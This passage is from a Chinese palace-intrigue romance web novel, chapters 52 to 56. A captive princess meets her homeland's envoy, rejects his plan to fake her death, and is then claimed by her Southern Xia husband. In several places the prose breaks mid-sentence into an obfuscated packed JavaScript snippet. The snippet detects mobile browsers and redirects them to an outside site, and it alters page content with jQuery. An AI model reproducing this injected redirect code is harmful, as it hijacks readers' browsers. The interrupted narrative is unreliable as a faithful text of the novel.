直到日悬高空,午膳传过,正殿大门终于从内打开,走出一名年轻男子。他手中握着佩刀,站在台阶之上俯视着朱辞秋,声音穿透宫殿,落入她耳中。 “怀宁殿下,领主今日不得空见你。但——”男子冷声道,“念在殿下如此诚心觐见的份上,你若能在此跪上两个时辰,便免了殿下的觐见,叫你去见一见大雍来的使臣们。” 朱辞秋唇色苍白,却也仍旧勾唇一笑,道:“若我不跪,执意要见领主呢?” “那就请殿下自便好了。毕竟站死在这大殿外,也是一件极其丢脸的事。哦对了,我们自然也不会替你收尸。”男子笑了笑,转身便走。 大殿的门看看合上,她抬头看了看天色,又看了几眼四周。 她必须要忍。 石砖铺成的路被日光晒过,坚硬又有些烫,人跪在上面久了,膝盖难免疼痛。并不繁重的衣衫之下,朱辞秋的膝盖已然跪得红肿不堪,酸痛不已,加之身上所受的瘴气,她已经痛的连牙尖都在打着颤。 饶是如此,她的脊梁仍旧是挺得笔直,不论过路的人是如何指指点点、暗中嘲讽与唾骂,她都无动于衷。 她如今所受的一切,都会在七月七祭神日的那一天,全部讨回来。 所以,不论如今如何困苦艰难,她都会咬着牙,拼命挺过去。 即便是……即便是她咬破了唇瓣,吞下鲜血;即便是故意跪在更加凹凸坚硬的石砖上,膝盖上的痛觉传达全身;即便是拾起地上的短箭,让锋利的箭尖划过自己的手掌。 鲜血流在石砖上,慢慢干涸。她抬起头,看着下落的太阳。她知道自己终于清醒着熬过了两个时辰,苍白乏力的脸露出了笑容。 只有清醒着,她才能活下去。 不论怎样,她都要活下去。 大殿的门再度打开,原先那名传话的男子又走了出来。他看见朱辞秋脸上的笑容,猝然一愣,反应过来后朝后抬了抬手,朗声道:“带小少主夫人去见见娘家人。” “记住了,是小少主夫人。” “是!” 男子身后的奴隶们齐声答应,他们走下台阶欲抬手拽起朱辞秋,却被她猛然甩手躲过。 她看着台阶上的男子,用流了满地鲜血的、受着伤的手撑地,摇摇晃晃地站起身来,苍白的脸笑容不改,“替我多谢领主。” 说罢,便自顾自往身后的大路走去。 一条路仿佛走了好久都走不到头,她摇摇晃晃着,被两旁的奴隶裹挟着。可连双腿双手都失去了知觉,只靠着濒临涣散的毅力与清醒坚持着,终于在最后一刻,在她将要倒在地上的那一瞬间,一处偏殿的门被打开。 “领主让小少主夫人特来见见使臣们,几位大人可要与少主夫人好好叙叙旧。毕竟,这极有可能是你们最后一次相见了!” 身后的奴隶耀武扬威地说完,便将她推入殿内,扬长而去。 久无人居住的潮湿与阴暗的环境,让她登时睁大了眼,看清了坐在里面的人。 顾霜昶在这里。 熟悉的面孔叫朱辞秋一下子泄了力,意识突然有些涣散。 “殿下?!” “殿下!!!” 好几道熟悉又陌生的声音猛然响起,如今竟一时有些反应不过来,她靠着紧闭的殿门,连最后的体面都险些撑不住,险些瘫倒在地上。 有一道年轻的声音猛然上前,接住了她,将她打横抱起。 “我终于……见到你了,顾霜昶。” 她艰难地掀起眼皮,看清了抱着她的男人。 “殿下,是臣,臣在。” 顾霜昶眉头紧蹙,常年温润和熹的脸上多了些肃杀之气,却又将她小心翼翼地放在铺得干干净净的床褥之上。 “胡太医!”顾霜昶猛然转身,叫了花白胡子的太医上前替她诊治。 再度醒来时,她身上伤口已被包扎好,衣衫也换成了干净的,换的还是大雍服饰。 到底还是觉得大雍衣衫最为舒适,连 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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胡太医是太医院资历最老的太医,莫说脾气暴躁多走一步路都要吵翻天,更遑论他素日只给陛下太后问诊,平日绝不多给任何人看诊。如今却跟着使团千里迢迢来到南夏,倒是她未曾想到的。 也不知顾霜昶使了什么手段,叫胡太医不仅心甘情愿地跟着他来南夏,还心甘情愿地给她诊脉。 “殿下身上的瘴气暂时无碍。”胡太医不知她心中所想,只略带犹豫地看了看她,“只不过——” “太医但说无妨。” “殿下如今体虚气郁,久不调理已成病根,难以再好全了。”胡太医摸了摸花白的胡须,轻叹一口气,“想来殿下也早已知晓此事,不然身上也不会备有养身丸。只是这养身丸管得了一时,管不了一世。殿下……哎!” 胡太医摇了摇头,继续道:“从前虽未给殿下问过诊,但素日观殿下也算是尚且康健之人,如今身子怎的坏成这副模样。” “南夏苦寒,殿下一介女子,又是娇弱之躯,怎能抵挡一群狼虫虎豹。”顾霜昶极罕见冷着脸,连说出的话都带着冰碴,“胡太医今日也看见了吧。殿下为见我们,究竟要受怎样的折辱。” 他站在床前,俯视着胡太医,又道:“行箱中不论多名贵的药材,只要能治好殿下,通通拿出来。” “顾大人,不必麻烦。” 她手撑着床,缓缓坐起身。顾霜昶见状,赶忙挥走胡太医,自己坐在胡太医的位置上,将外衫披在她身上,轻轻扶着她靠在床边。 “殿下,不必担心。”顾霜昶笑着说,“几日前,臣曾去乌图勒面前要回了一箱属于自己之物,如今正摆在殿中。” “不愧是顾大人,竟能从虎口夺食。”朱辞秋也跟着笑了笑,随即又正色道,“但如今你们被关在此处,乌图勒可说何时放你们归去?” 顾霜昶沉默半晌,深邃的双眼露出些许疲惫,终于沉声道:“殿下早已猜出来了吧。臣来此,并不只是送贡品。” 朱辞秋抬眼,与顾霜昶对视。良久,平静开口:“燕京出事了。” 53.第五十三话 说完这句话,顾霜昶看向她的目光中不自觉地露出些微沉重,连宽大衣袖中的手都在微微颤抖。最终,他垂下眼帘,任由狭长的睫毛挡住那诸多情绪。 外殿传来窸窸窣窣的交谈声,朱辞秋侧头看去,可内殿紧闭着门,她什么也听不清,看不见。 “殿下。” 而面前的顾霜昶忽然十分郑重地叫了她一声,又站起身往后退了两步。 于是她抬眼看向顾霜昶,只见他掀起青衫衣摆,“咚”一声,双膝跪在她面前,双手交叉于额间,头伏于地。 礼之重,她不由一愣。 “顾大人——” 朱辞秋还未说出下文,便被顾霜昶出言打断。 “殿下现下尚在病中,不用费力多言,只听臣说便好。臣自会向殿下言明一切。” 他仍跪在地上,却直起腰抬起头,目光炯炯地看着她。男人眉目温润且愈发坚定,声音轻缓如清泉涓涓。 朱辞秋本面色苍白地坐在床上,可受顾霜昶一拜后,便如端坐高台上的尊贵公主。而顾霜昶,则是高台下谦恭有礼的臣子。 就像如今他们并非在阴冷杂乱的西夏荒殿,而是在宽敞明亮的公主府中。 “臣来此,是有三件事需禀明殿下。”顾霜昶似是深吸了一口气,缓缓开口道。 她微微垂首与跪在地上不肯起身的男人对视,后者率先垂眸低首,从怀中拿出一封信,又双手呈予她。 朱辞秋看了一眼信,却并未伸手。 顾霜昶举着信,双眼看着她,诸多情绪闪过,她却来不及抓住一丝一毫。 只因这跪在地上的男人,忽然一手托起信,一手攥住青衫衣摆,以跪于地上的双膝,往前挪动两步,只为离她更近。 臣子修长的大手突然触碰到公主端坐的高台,将书信送至她手中。 “殿下,臣只配跪着。” 他仰头,如见神明般诚挚恳切。 朱辞秋静默一瞬,终是接过书信,却见信封无字。不知为何,她并不想立马拆开查看,便只是盯着手中信,不发一语。 顾霜昶不再退回原地,只跪在她面前,双手垂于两袖中,缓缓开口:“陛下,时日无多。臣已问过胡太医,至多能撑至中秋。” 他说完此话后,便不再言语,只眼含担忧地看着她,几次唇齿微启,都发不出声音。 “第二件。” 可朱辞秋只是平淡地看着他,又平淡地打断他那些莫名的忧愁。 “第二件……”顾霜昶见状有些愣神,迅速反应过来后,再度开口,“臣闻蜀地松山州、茂州等地,地动数日,如今房屋塌毁,至死伤无数。” 闻言,她掀起眼皮,忽然问:“何处闻得?” 顾霜昶答:“路过陇南见难民众多,自他们口中闻得。臣也派人前去蜀地探查,确是如此。”他顿了顿,又道,“查明后,臣未上报京中。” “为何?” “殿下,这是臣要说的第三件事。”顾霜昶仍仰着头与她对视,嘴角露出一丝苦涩的笑意,“眼下朝中,皆是太子之人。不顺从他之人,早已被斩首示众,满门抄斩。” “顾老相爷,臣的祖父。也于三月二十去世。” 朱辞秋眼中终于有了情绪,手中书信被她捏紧,不自觉地向前仰身,语气也急促几分,可话到嘴边,又犹豫几瞬。见着面前男人脸上的神色,又不免软了些语气,“顾大人,节哀。” “顾老相爷身体一向康健,究竟……因何去世?” 顾霜昶垂眸,“臣不知。” “很长一段时日,他总将自己关在房中,无人敢扰。直到三月二十那日,他唤臣去书房,递给臣一封信,命臣待他去世后再打开。” “当日夜里,他便与世长辞了。” 话音未落,她看向手中的无名书信,“那封信,是这封吗?”不等顾霜昶回答,她便又问,“这里头写了什么,你可有看过?” 顾霜昶沉默须臾,点了点头。 “那我要你,讲与我听。”她将信递还给顾霜昶,“方才你所说之三件事。陛下病危我早已知晓,蜀地之灾非你之过,我非国君,自是不必求我原谅。你又说的第三件之事,朝野变争、顾老相爷去世,也非你之过。如此,你又何故一直跪在我面前,不肯起身。” “殿下,臣所说第三件私事,其实还未说完。”顾霜昶抬手,接过书信紧紧攥在手中,沉声道,“顾老相爷信中,只有两行字。” “信中之意,是……送霜翎与北宣王世子……成亲。” 内殿中的空气霎时凝固,连呼吸声都缓慢几瞬,她有些不可置信地看向顾霜昶,也看向他手中的书信。 而顾霜昶仍然只看着她,眉目温和,却又透着数不尽的悲伤,“臣跪于此,只是对殿下有愧。” “臣违抗不了朝廷,也无法说服朝中众臣,只能任由他们,让殿下千金之躯,在此等豺狼地受尽屈辱……连……”他似乎说不下去了,顿了半晌,才又开口,“是臣无能,亦是臣之过……护不了殿下。” 朱辞秋眉头微蹙,暂且并不想理会顾霜昶现下吐露出来的心声。 不管胡太医在她昏迷时是如何将身体状况与他讲的,也不论她自己如今如何,这已成定局,再多难过之言也改变不了已发生的任何事,更何况,这根本非顾霜昶之过。 “我只问你,”她看了一眼顾霜昶,又看向他手中的书信,“为何顾老相爷,要让顾霜翎与远在辽东的北宣王世子成亲?” “辽东,北宣王。呵。”不等面前男人回答,便不自觉讽刺般轻笑一声,“辽东封地数百里,距燕京千里,除却每年大朝会,你顾家与他们从无往来。北宣王手握三万精锐之兵,却始终安居一隅。如今你顾家却要与他们联姻——” “怎么,是想造反吗?” 顾霜昶闻言,温和的面庞一如往常,只是突然往后退了一步,双手交叉抵于额头,以身伏地。坚定又铿锵有力的声音传入朱辞秋耳中:“臣不会。殿下心向便是臣之所向。” “但——”他复抬首,眼中含恨,却又似悲凉,“朝中太子当道,昏庸愈发无度。他准臣以使臣身份出使南夏,是想叫臣来此……杀了殿下。” 朱辞秋觉得荒谬可笑,“你我关系他怎会不知?如若真想置我于死地,大可叫旁人来此。” 顾霜昶苦笑着摇头:“顾氏一族身家性命,皆为太子所控。” 她沉默一瞬,轻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14027099|141496||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑道:“所以,顾大人要,杀了我?” “殿下,你明知臣不会妥协。” 顾霜昶看向手中信件,将信取了出来,摊开竖立在她面前,信上确有两行字,写道:常微,我已与北宣王取得联系,不论用何种办法,尽快将翎儿送往辽东舒州,与北宣王世子完婚。 “殿下曾受顾老相爷教导,应当识得他的字。”他一直举着信,“自陛下病弱起,臣便感之有莫名之人作祟,令燕京乃至整个大雍如乱根漂浮,人心惶惶。臣查了许久,都毫无线索。” “直到——” “直到感觉到顾老相爷的反常,直到看到这封信,也直到老相爷去世后,太子雷厉风行地围困顾府,逼你出使南夏。”朱辞秋看着顾霜昶手中的信,替他说出接下来的话。 信上是她所熟悉的顾老相爷的字。 在朱煊安还是太子时,一直刁难她的母后生病卧榻,朱煊安终于能得空关心她,便让她去顾家私塾读学。 那年她九岁,跟着顾老相爷学了一年的四书五经,也练了一年的字。 后来母后病好,她也就再也没去过顾家。 “顾家与北宣王联姻,顾家能得辽东三万精锐庇佑,不被新皇以莫须有之罪名诛尽。顾家也能以三朝宰辅,文人之首之盛名,助辽东入京,改朝换代。可这样的算计,真能躲过如今掌控燕京的幕后之人吗?” “殿下,那只是臣祖父之算计。臣,并不打算这般做,也不会将霜翎送去辽东,为一己之私葬送她一生。” 朱辞秋闻言顿了顿,又开口道:“顾大人,顾家这一代,唯你最有出息,他们故意那般同你说,只是为逼你远离燕京来此地,好叫他们更好把控顾家罢了。” “如今你若不走老相爷那一步棋,只会将自己、将顾家逼上绝路。” 不知为何,她忽然想起幼时老相爷握着她的手,曾在宣纸上,一笔一画地写下两个字,字为:家国。 “臣知道。”顾霜昶将手中信件收好,缓缓开口。他仰着头,面色不改,嘴角扬起一丝笑意,“但顾家百年根基,非一朝一夕可撼动。臣也并非全无对策,不会坐以待毙。况且族中亲人也非是非不分之辈,他们一时半刻不会将顾家如何。” “臣只怪自己,在夏荷将开之时才有机会接殿下出南夏,回大雍。” “你只是来,接我?”朱辞秋有些微怔住,眼底闪过一丝不可置信。 放弃与辽东合谋,放弃与太子投诚,也放弃亲自在京中与那些宵小斡旋。千里迢迢来此,就只为来此接她?她不敢相信一直恪守礼节,尊崇祖父之意的顾霜昶,会如此冲动。 “是。” 可顾霜昶坚定地看着她,眼底情意波涛汹涌,将要冲破君臣之仪筑起的高墙,却又在墙塌之时立马回涌,不敢再外泄一分。 “臣定当竭尽全力,接殿下回故土。” 恰在此时,门口突然响起叩门声。胡太医在外喊道:“怀宁殿下,顾大人,药好了,该吃药了!” 殿内,朱辞秋与始终跪在地上的男人对视着,好像谁也没听见外界之音,直到她看见顾霜昶眼中的坚定,确定他毫无半分其他之念后,终于轻声开口:“顾大人,我有一计。可愿一听?” 54.第五十四话 顾霜昶不说愿或不愿,只恭敬温顺地看着她,沉默许久,才缓缓开口:“若殿下所说计策需殿下以身涉险的话,臣……不愿。” 朱辞秋闻言,似是意外又似是意料之中地挑了挑眉。 她与顾霜昶并非年幼便相识。九岁在顾家私塾读学时,顾霜昶被老相爷送到江南宁州的白潭书院,直到十五岁学成才回京。然后便是科举中榜、状元及第、又入翰林,深受天家器重。 她少时久居深宫,母后死后又独居公主府,也甚少赴宴会,本不该结识顾霜昶。可她与顾霜翎交好,又常听霜翎提及她兄长,偶有赴宴时,也会因此缘故交谈几句。生辰时,也曾因顾霜翎被困府中不得出府而故意邀顾霜昶入公主府。 这样一来二去,她自觉与顾霜昶算得上君子之交淡如水,却也不算至交好友。也一直以为,若不是她与顾霜翎交好,或许她这辈子都与顾霜昶毫无交集。 可四年前,她孤身一人闯龙虎关,违抗皇命留在边塞。在得知是顾霜昶以一人之力替她在燕京中撑着时,她是十分惊讶且不解的。 她根本想不到,这个半步踏入宰辅之路的清正文臣,究竟为何会为了她不惜得罪天家,险些断送青云之路。 可如今看着执意跪在她面前的顾霜昶,捕捉到他眼底闪过暗藏许久的隐晦情意,她终于明白几分其中蕴意。 但她不理解,也不明白。 “顾大人,我这样一直低头说话,很累的。”她垂眸遮住眼中情绪。 话音刚落,又听见一阵敲门声。 顾霜昶终于肯站起身来。修长又挺拔的身躯一下子笼罩在她面前,青衫上的紫檀香扑面而来,让她不由自主地想起燕京。 “殿下,先喝药。”说话间,紫檀香气愈发浓郁,直至顾霜昶远离床榻,打开门从胡太医手中接过煎好的药。 他将药碗平稳的放于手中,朱辞秋便立马闻到涩苦的中药味,掩盖住了那缕紫檀香。 “我自己来。” 她执意从顾霜昶手中接过药碗,轻抿一口试了试温热,发觉不烫后便仰头一饮而尽。 顾霜昶虽在她执意自己喝药时顿住一瞬,却又很快恢复原样,见她喝完后便从袖中掏出一颗糖丸,温声道:“臣记得殿下怕苦,所以身上时常带着糖丸。” 这次换她顿住,但见顾霜昶神情如常后,口中又实在苦涩,便伸手接过糖丸。 酸甜味的糖丸立马蔓延至整个唇齿,彻底冲散口中苦涩。 殿内一片寂静,直到顾霜昶似乎下定了什么决心,放下药碗,又从袖中掏出一个药瓶,轻声道,“殿下,这是臣遍寻大雍,得来的假死药。” “臣如今不想再等什么时机。待今夜夜深人静时,臣便会放一把火烧了整座荒殿,而殿下,死于这场大火……” “这便是顾大人接我回去之策?”朱辞秋打断他,粲然一笑,“且不论整座王宫有多少双眼睛盯着你,只单论你如今尚且被困在此处无法脱身,你如何保证使团众人乃至我,都安然无恙?” “几日前,臣发现此地有一处荒废甚久的密道,臣测算过,能躲避火海。臣会安排好他们,必不会叫他们丧生在此。只要殿下装作臣的侍从,便能躲过追查。”顾霜昶话音一顿,看向她时,语气忽然变得有些小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14049632|141496||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心翼翼,“若他们执意要找寻殿下尸首,臣……也会叫他们找到一具尸身。” 听到此处,朱辞秋双眼微眯,暗含威慑的视线扫过有些局促不安的顾霜昶,冷笑道:“好一个偷梁换柱啊。我竟没想到,素来以清澄平正自持的顾大人会想到此种办法。” “殿下!”顾霜昶坐在一旁的椅子上,忽然激动起来,“两国交战尚且不斩来使,他们将臣等困在此地,不过只是想给大雍一个下马威,不会危及臣等性命。殿下也知道,南夏如今百废待兴,根本分不出精力再与大雍交战。若、若臣死在此处,即便太子等人心中再觉得畅快,却也会觉得这是他身为国君的耻辱。到那时,两国势必再度开战,他们谁也不愿此时开战耗费生机。所以,臣在此,很安全,也必定能安然回京。” “所以,只要殿下答应,臣便能将殿下安全带回大雍。” “答应什么?” 朱辞秋冷眼看着他,“答应你以无辜之人的命换我之生路?顾大人,我如今可还没到那般绝路呢。” “怎么没有!”顾霜昶直起腰,眼中闪烁,很快便红了眼眶,犹豫半晌,斟酌许久,才有些沙哑的开口,“殿下凤体……欠安。若再留在此处,势必会加重病情。南夏人,没有一个好东西,全是泼皮无赖!臣……不想再看殿下受伤……” “顾大人不必担心我知道后会难过。”她道,“因为我早就知道,我活不了几年了。” 顾霜昶愣在原地,许久都回不了神。 骤然间,她看见面前端坐着的男人,从来都是温润的眉眼间蓄满了悲痛与痛苦,自通红的眼眶中,流下几滴泪。 55.第五十五话 儒雅端方的男人,眉头蓄满哀愁。 他为她难过,也替她哭泣。 两人就这样沉默在漫长的寂静中,任由呼吸声交织,也在心脏跳动间,任由一向端庄自持的臣子在独坐高台上的公主面前,丢尽颜面,落下痛苦不能自拔的泪。 良久,顾霜昶忽然俯身握住她的手,情意好似再也遮掩不住,自言语与眉眼间,露出端倪,“殿下……” “顾大人!”朱辞秋猛然抽手,出声打断他,又别开脸不愿看他,只道,“我不需要别人替我死。” 不等顾霜昶言,她便又开口:“南夏王城是乌图勒亲手打造的国都,他大半辈子都搭在此处了,恐怕连此地地上有几块砖都一清二楚,遑论各宫密道?乌图勒既将你安排在此处,难道不清楚一旦密道被你发现的后果吗?” 顾霜昶抬眼望着她,眸中眼波流转几瞬,纠结与犹豫后,最终化为对她所说之言早已了然于心的坦荡。 他早知道这些,自然也能猜到乌图勒会故意将她带到此处与他一见,也许是盼望着他见到她后,能利用密道之便,做出一些故意为之的意外来,好叫如今大雍使团的众人背上罪名,再也回不去大雍。又许是,乌图勒想要借着他们的手,将她送回大雍,与朱煊贺斗法。 不论乌图勒是怎样的打算,顾霜昶都甘愿跳入陷阱,全然不顾全使团的命,即便是火烧王宫这样的冒险之法,也要执意救她出去。 “四年前,临州知府贪污霸权,临州防洪堤坝粗制滥造,致洪水泛滥成灾,顷刻间百姓流离失所,无家可归。是顾大人亲下临州查明真相,怒斥知府不配为官,食民之禄却断民之路,又亲手将他送上断头台,好叫他为所做一切不可挽回之事付出代价。最后用家私补亏空,为临州请命,耗费大半年之心力替他们重建家园,方才有如今临州重现衣食富足之相。” 顾霜昶忽闻她说起往事,猝然抬首,眼神聚焦在她身上,薄唇紧绷着,说不出一句话。 屋内的人看不见,窗外的风将树吹的沙沙作响,树叶被风吹散,轻柔地打在窗棂上,又缓缓飘落在满是落叶的地上。 他们只能听见外头的风声愈发大了起来,一阵闷雷忽而惊醒坐在床边发愣的顾霜昶,狭长的睫毛垂下,口中苦涩难掩,“臣当年深知万民之苦,誓为苍生奋斗终生。如今亦是如此,从未改变过。” “可殿下入南夏和亲时,臣就未曾劝动太子与众同僚,未曾阻拦成功。如今既有一线生机,不论前方何等凶险,即便是搭上臣的命,只要能让殿下重归故土,臣也在所不辞!” 说着说着,他忽然又抬起眼来,眼中之意与口中之言愈发坚定,仿佛视死如归的勇士。 他说:“只有殿下归京,才能救万民。” “大雍皇贵之族,也只有殿下,与臣同路。” 窗外几声闷雷轰然响起,昏暗天气下忽而闪了几道闪电。霎时,大雨倾盆而下,雨滴打在窗棂上,霹雳哗啦的声音不断涌入她耳中。 是暴雨,也是初夏的第一场大雨。 顾霜昶的话淹没在雨声中,也如惊雷贯耳般落进她心底。 殿内烛火扑闪,朱辞秋眼睫颤动,忽然笑了。 “顾大人说笑了,我一介女子,能救什么万民?”她与他对视,神情愈发严肃,“万民实在太重了,我薄躯一具,担不起。” 她是想归京,找出暗中作梗欲使大雍混乱的朱煊贺,也想逼下是非不分好坏不明的太子朱承誉,替他把持朝政,肃清朝中歪风邪气。 即便有这样的想法,也只是因为见过百姓之难,得知战乱真相皆有朱氏而起,百姓苦难皆由权而起,她想改变,只能以已之手釜底抽薪。 也因为,大雍是她的家,她容不得蛀虫侮辱侵蚀。 顾霜昶此言,是将大雍万万人性命都压在她身上,交到她手中。 可她,在山门关的三年,参不透真相,悟不出破局之法,只能眼睁睁看着人们去送死,看着十三州沦陷。 在南夏,她被乌图勒牵着鼻子走,诱使她得知一切。她好像逃不出他的视线,被玩弄于股掌之间。 这些日子,她面上从来不显胆怯与担忧,也从不与人言说,即便是乌玉胜,她都未曾诉说过一二。那些害怕回不去大雍的心情与想了无数次的计策与想法,都被她在心中抹除又被反复想起。 这段日子,睁眼闭眼都是万千思绪,从未睡过一个好觉。以至于乌玉胜好几次都喜欢搂着她睡觉,只为叫她睡得更安稳。 她渴望要一个万全之法,既能在南夏除掉乌图勒,断开他与大雍之联系,又能让她在两国瞩目下,携大雍无法奈何她之物归京,好叫她有底气也有能力去夺权。 她曾对乌玉胜豪言壮志,也深信自己会以己之力归京。即便是现在,她也这样想。可她仍会害怕,怕一切皆落空,怕骨枯黄土,再也醒不来。 毕竟,她没几年好活了。 朱辞秋一直垂着眼眸,眼中交织的各样情绪被掩盖在睫毛下,唯有声音透出些许沉闷,“顾大人,我从没有大志向,也不喜欢揽人之生死于自身。一直以来,我都是冷血无情之人,旁人生死于我而言,并无干系。” “不是的,殿下。”顾霜昶猛然摇头,想要伸手触碰她额间的碎发,却又在半空离她一寸之地缩回手,垂于袖中,攥成拳。 “殿下只是害怕。怕自己无法救民于水火,怕无法惩治恶徒,也怕,竹篮打水一场空。所以殿下从不轻言许诺谁,因为怕被许诺之人,会失望难过。” 窗外的雨更大了,分明关得分外严实的窗户,却透进来些许凉意。 朱辞秋抬眼看向顾霜昶。面前温润的男人嘴角带着笑,眉目柔情似水,好像在对她诉说:你看,我知道你的言外之意。你不要怕,我不会难过失望。 “臣十六岁时,殿下刚从东宫搬入皇宫。”顾霜昶笑着,说起一段往事,“那一年新皇继位,开设恩科,臣就是在那一年,得了魁首,入了殿试。臣十六岁便是科考魁首,殿试状元。” 他忽然伸出手,在她面前摊开,露出手中的茧巴,“臣自读书起从无一日懈怠功课,入白潭书院修习后,握笔的手起了无数的泡,有了极厚的茧巴。可他们却说,这是文曲星下凡。世人这样一句话,就泯灭了臣所有的努力。” “殿下不记得了。当年状元及第的谢恩宴上,臣与殿下是见过的。”顾霜昶话锋一转,收回手后眼神注视着朱辞秋,“臣那时受不了酒气,便坐在凉亭散酒气。殿下偶然路过,命人送了一杯解酒茶给臣,臣双手接过茶盏,谢恩之时,殿下曾对臣说了一句话。” “殿下说:‘大人手中茧如此厚,想来定是日夜刻苦,笔不离手。如今功名加身,也不枉经年辛苦了。’那是臣至今为止,听见的唯一一句,宽慰之言。” 朱辞秋闻言,愣怔须臾。她看着顾霜昶如画般的脸庞,实在想不起来,在许久之前的谢恩宴上,见过这样一张脸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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她其实根本没有顾霜昶口中的那般爱民。她从不自诩自己是什么好人,也承认在山门关抗敌之前,没有什么食民之禄佑民安顺的意识。那时除了乌玉胜外,她对任何人的安危,都不关心。 但顾霜昶不一样,他为官初心便是造福百姓,从无杂念。 所以—— 朱辞秋掀起眼皮,微微一笑,平静道:“顾大人,我与你,其实从来都不是一路人。” 她知道,即便是他如今要以使团之命换她生路,他也只是想让她能归去故土,在山门关守住大雍。 他仍是那个襟怀坦白的顾大人。 “不是的殿下、不是的!” 顾霜昶似乎知道了她的意思,有些慌张地站起身来,却还未说出下文,便听见雷鸣电闪间,风雨声与巨大的破门声轰隆而响,外殿霎时乱作一团,无数人叫喊着“何人!”“放肆!”“顾大人!” 她与顾霜昶闻声望去,还未曾搞清状况,只顷刻间,内殿一直紧闭的大门轰然被人从外踹开,沉重的门倒在地上,灰尘飞舞在昏暗的殿内,窗外闪过一道明亮又迅速地闪电,风雨打在窗棂上愈发急切。 嘈杂又昏暗的环境,踹门的男人身披风雨,发梢都在滴着雨水,脸上有一道极长的伤痕,血渍被雨水冲刷又蔓延出来,滴落在玄色的衣襟上消失不见,而脸颊一侧,则留下长长一道血痕。 他手握镶嵌着红宝石的佩刀,刀上的鲜血滴在殿内潮湿的地板上,阴冷狠戾的神情阴在黑暗中,一双眼睛紧紧盯着床榻上的朱辞秋,眼眸亮的瘆人,更衬得他如刚从地狱入人间的恶鬼。 恶鬼轻声呢喃,却又在暴风雨下的混乱殿内清晰可闻: “我来接你了。” “朱辞秋。” 56.第五十六话 “乌玉胜?” 朱辞秋在看清来人的那一刹那,十分惊异地喊出了声。这道声音令顾霜昶猛然望向她,又迅速将她挡在他身后,直面门口的不速之客。 荒殿外的骤雨湿气随着大敞开的破败殿门流入殿内,风吹过,掀起乌玉胜的玄色衣摆,他屹立在原地,眉目紧锁,刀下鲜血止不住地流。 外殿的文臣仍旧举着不趁手的刀剑对准在内殿门口傲然站立的乌玉胜。 他往前动一寸,顾霜昶与身后的使臣们便朝他近一寸。 一步一步,与顾霜昶隔空对视。 朱辞秋见状,立马掀开被子下了床,但起身太猛,叫她有些头晕目眩。顾霜昶背对着她,看不真切,可乌玉胜却眼疾手快,倏然举起佩刀,在空中翻转一瞬,用刀背砍向顾霜昶身侧,又猛然狠踹他腰侧,将他踹至一旁角落,身后众人见状又立马甩下令人惧怕的刀剑,朝顾霜昶奔去。 在一声又一声“顾大人!”“没事吧?”的安慰声中,乌玉胜朝前跨了一大步,扶住朱辞秋纤瘦的胳膊,一手取下将挂在一旁的外衫,披在她身上。 动作间,血腥气与雨水混合,掺杂着两者之物的水渍顺着乌玉胜的发梢,忽然滴落在她手背上。她垂眼看向手背,呆愣须臾,又再度抬眼,看向他深邃偏执的双眸。 “跟我走。” 乌玉胜沉着脸,眼睛死死地盯着她,却不愿再多说几个字。 朱辞秋看着他脸上那道长长的、尚在滴着血的伤口,眼中闪过一丝不易察觉的不忍。顺着那道伤口往下,便见他手臂上的衣衫已被砍出一道又一道的血痕,衣衫也被撕裂成一道又一道的小口子。 她又想起了在霞山谷,乌玉胜背上狰狞可怖的大小鞭伤。不由自主地脱口而出:“你不要命了吗?” 背上的鞭伤这才刚好,又添无数新伤。饶是再身强力壮的人都受不住如此折腾吧。 “跟我走。” 乌玉胜紧紧抓着她的手腕,好似入了魔,只会重复这一句话。 “贼子!放开殿下!” 一旁的顾霜昶挣扎着站起身子,恶狠狠出声,他猛冲上前,推开簇拥着他,想要阻拦他上前的使臣,猝然拉过朱辞秋的另一只手,想要将她再度挡在身后。 可乌玉胜拉着她的手腕,如何都挣脱不动,他们就这样你看我我看你的僵持在原地。 乌玉胜如阴鬼罗刹,冷厉眼神毫不在意的扫视一圈,最终定在顾霜昶身上,漫不经心的冷笑一声,将佩刀在手中转了个圈,刀尖指向顾霜昶的双眼,又缓缓下滑至他抓着朱辞秋的那只手上,“脏手,拿开。” 顾霜昶也不遑多让,从未有过厉色的面容骤然冰冷,连语气都令人闻之生寒,“少主,此地不欢迎你。请。” 他做了个手势,指向如今破烂的门口。 见乌玉胜仍立在原地,他勾起唇角,垂下眼眸看向朱辞秋,语气柔和,但说出的话却满是对乌玉胜的厌恶与怨恨,“是他令殿下身陷囹圄,如今还想将殿下带走困住,这样一个忘恩负义狼心狗肺之恶徒,实在是可恨至极。殿下莫要被他迷惑了。” “呵。”乌玉胜听见此言,拽着朱辞秋手腕的大手握紧几分,猛地将她往他身侧一拽,顾霜昶也紧紧抓住她的胳膊,想要将她拉至身旁。 可乌玉胜接下来的一句话,叫他愣在原地。 只听乌玉胜声色飞扬,朗声道:“她如今是我的妻。” 